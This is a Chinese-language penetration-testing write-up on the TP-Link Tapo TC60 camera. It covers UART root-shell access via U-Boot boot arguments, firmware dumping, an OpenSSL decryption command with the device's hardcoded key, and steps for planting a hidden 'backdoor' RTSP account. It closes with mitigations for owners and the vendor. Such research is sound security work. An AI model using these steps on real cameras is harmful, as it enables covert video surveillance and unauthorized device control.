hacking Tapo TC60摄像头
字数 1843 2025-08-22 12:23:00
Tapo TC60 智能摄像头安全分析与渗透测试指南
1. 设备概述与初步分析
Tapo TC60 是一款智能安全摄像头,由 TP-Link 公司生产。该设备具有以下硬件特性:
- 主控芯片:Ingenic T31(视频处理 SoC)
- WiFi 模块:RTL8188FTV(WiFi 和网络 USB 芯片)
- 存储芯片:XMC 25QH64C(64Mb 串行闪存)
- 具备 SD 卡插槽
- 采用 U-Boot 引导加载程序
- 运行基于 Linux 的系统(BusyBox v1.19.4)
2. 硬件拆解与接口识别
2.1 物理拆解步骤
- 移除设备支架
- 使用 iFixIt 工具释放主机箱前部的 4 个夹子
- 分离外壳后可见主板
2.2 关键硬件组件识别
- 主板正面:
- Ingenic T31 主芯片
- RTL8188FTV WiFi 芯片
- 音频放大器及其他无源元件
- 主板背面:
- 可拆卸摄像头组件
- XMC 25QH64C 闪存芯片(位于摄像头组件下方)
2.3 UART 接口识别
- 位置:T31 芯片上方的一组测试点
- 引脚识别:
- 使用万用表识别 GND 和 Vcc
- 剩余两个引脚为 TX/RX
- 参数:115200 波特率,8N1
3. UART 访问与系统控制
3.1 连接 UART
- 使用逻辑分析仪或示波器确认数据引脚
- 通过 Tigard 板或其他 UART 适配器连接
3.2 中断引导序列
使用 TC100/TC200 已知的 U-Boot 转义序列中断引导过程:
------Firmware check pass!-----
Autobooting in 1 seconds
isvp_t31# isvp_t31# slp
3.3 获取 root shell
成功中断后,可修改启动参数获取 root shell:
setenv bootargs console=ttyS1,115200n8 mem=45M@0x0 rmem=19M@0x2d00000 root=/dev/mtdblock6 rootfstype=squashfs spdev=/dev/mtdblock7 noinitrd init=/bin/sh
printenv
sf probe; sf read 0x80700000 0x80200 0x175000; bootm 0x80700000
成功后将获得 root 权限的 BusyBox shell:
/ # id
uid=0(root) gid=0(root)
4. 固件提取与分析
4.1 通过 SD 卡提取固件
-
挂载必要目录:
mount -t proc none /proc mount -t tmpfs tmpfs /dev -o mode=0755,size=512K mount tmpfs /tmp -t tmpfs -o size=20633600,nosuid,nodev,mode=1777 mknod /dev/slp_flash_chrdev c 222 0 -
使用
uc_convert工具转储固件:/bin/uc_convert -t 0 -
固件将存储在
/tmp目录中
4.2 固件分析
使用 binwalk 分析提取的固件:
binwalk flashdump.bin
关键发现:
- 包含多个 SquashFS 文件系统
- 使用 LZO 和 LZMA 压缩
- 包含 Linux 内核镜像(版本 3.10.14)
- 包含多个 PEM 证书
5. 配置文件解密与分析
5.1 配置文件位置
- 主配置文件:
/tmp/etc/uc_conf/user_management - 包含用户账户信息:
- root 账户
- third_account(RTSP 流访问账户)
5.2 密码存储方式
-
root 账户:
- passwd 字段:MD5 哈希
- ciphertext 字段:RSA 加密数据
-
third_account:
- 默认禁用(用户名为"---")
- 用于 RTSP 流访问
- 必须同时设置 passwd 和 ciphertext 才能工作
5.3 离线解密方法
-
定位加密密钥:
- 在固件中搜索设备型号相关字符串
- TC60 使用 "TC60 1.0" 作为密钥种子
-
使用 OpenSSL 解密:
openssl enc -d -des-ecb -nopad -K 3463666461643831 -in mtdblock3.bin -out test.bin
6. 攻击向量与后门植入
6.1 添加隐蔽账户
-
通过 UART 获取 root shell
-
修改
/tmp/etc/uc_conf/user_management文件:- 添加 backdoor 账户
- 设置已知的 MD5 哈希密码
- 复制有效的 ciphertext 值
-
示例账户配置:
username: backdoor passwd: Password206 的 MD5 哈希 ciphertext: [从合法账户复制]
6.2 持久化访问
- 将修改后的配置写回闪存
- 重启设备
- 通过 RTSP 协议访问视频流:
rtsp://backdoor:Password206@<camera-ip>/stream
7. 安全建议与缓解措施
7.1 针对设备所有者
-
物理安全:
- 将设备安装在难以物理接触的位置
- 使用防拆解外壳
-
网络安全:
- 将摄像头隔离在专用 VLAN
- 启用防火墙规则限制访问
-
固件更新:
- 定期检查并安装最新固件
7.2 针对厂商
-
硬件改进:
- 禁用或保护 UART 接口
- 使用安全启动机制
-
软件改进:
- 使用更安全的密码哈希算法
- 实现配置文件完整性检查
- 避免硬编码加密密钥
-
安全审计:
- 定期进行第三方安全评估
- 实施漏洞奖励计划
8. 总结与结论
Tapo TC60 摄像头存在多个安全漏洞,包括:
- 暴露的 UART 接口允许 root 访问
- 弱密码存储机制(MD5 哈希)
- 可预测的加密密钥
- 缺乏配置文件完整性保护
通过物理访问,攻击者可以在约5分钟内植入持久性后门,获得视频流的未授权访问权限。虽然需要物理接触设备,但这种攻击在特定场景下(如内部人员威胁)仍然构成严重风险。
本研究表明,IoT 设备制造商需要更加重视硬件和软件的安全设计,特别是在物理安全边界被突破后的防护措施。